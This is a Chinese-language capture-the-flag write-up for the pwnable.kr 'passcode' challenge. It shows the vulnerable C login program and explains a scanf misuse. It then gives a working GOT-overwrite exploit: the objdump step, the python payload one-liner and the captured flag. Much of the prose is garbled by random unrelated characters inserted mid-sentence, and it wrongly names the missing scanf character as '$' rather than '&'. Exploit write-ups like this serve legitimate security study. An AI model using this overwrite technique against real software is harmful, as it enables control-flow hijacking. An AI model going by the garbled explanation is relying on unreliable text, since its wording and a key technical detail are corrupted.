pwnable.kr
突然跳度大一下腦子有點混亂嗤军,看了不少Writen Up,梳理了一下寫寫寝优,下面附上幾個鏈接:
1.https://blog.csdn.net/smalosnail/article/details/53247502
2.https://www.cnblogs.com/liuyimin/p/7275057.html
3.http://jing0107.lofter.com/post/1cbc869f_8b3d8a5
開始
先連接進(jìn)去看一下源碼
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
首先,我們可以看到在使用scanf()
函數(shù)時沒有加上$
符毛肋,那就要說說這個的影響,沒有$
符怨咪,程序會默認(rèn)從棧中讀取4個字節(jié)的數(shù)據(jù)當(dāng)做scanf
取的地址,也就是說润匙,你想向passcode1
這個地址寫數(shù)據(jù)诗眨,但是沒有$
符,導(dǎo)致scanf
調(diào)用時指向的地址不是passcode1
而是椩谢洌空間前4個字節(jié)
形成的偽地址
匠楚,當(dāng)你向這個偽地址
傳數(shù)據(jù)的時候就很容易觸發(fā)Segmentation fault
錯誤
我們可以想辦法將這點利用起來,然后我們可以看到main
函數(shù)中連續(xù)調(diào)用了兩個函數(shù)welcome() 與 login()
,看下name 與 passcode1
的地址
可以看出name 與 passcode1
的地址分別是ebp - 0x70 與 ebp - 0x10
,且ebp
的值是相等的卫病,也就是說在傳入name
時,只要填充0x60 = 96
個字節(jié)就可以控制passcode1
,配合scanf
就可以做到任意地址寫入4字節(jié)油啤。
那這樣我們就可以通過修改一個函數(shù)的plt
典徘,例如fflush() printf() exit()
,控制它跳轉(zhuǎn)got
時直接跳到system("/bin/cat flag")
這里蟀苛。
命令:objdump -R passcode
0x0804a000
然后找system("/bin/cat flag")
在程序中的位置
前面是傳入的參數(shù),所以要從0x80485e3
開始逮诲,但是因為scanf
傳入%d
,你要轉(zhuǎn)換為十進(jìn)制帜平,所以是134514147
python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
flag
= Sorry mom.. I got confused about scanf usage :(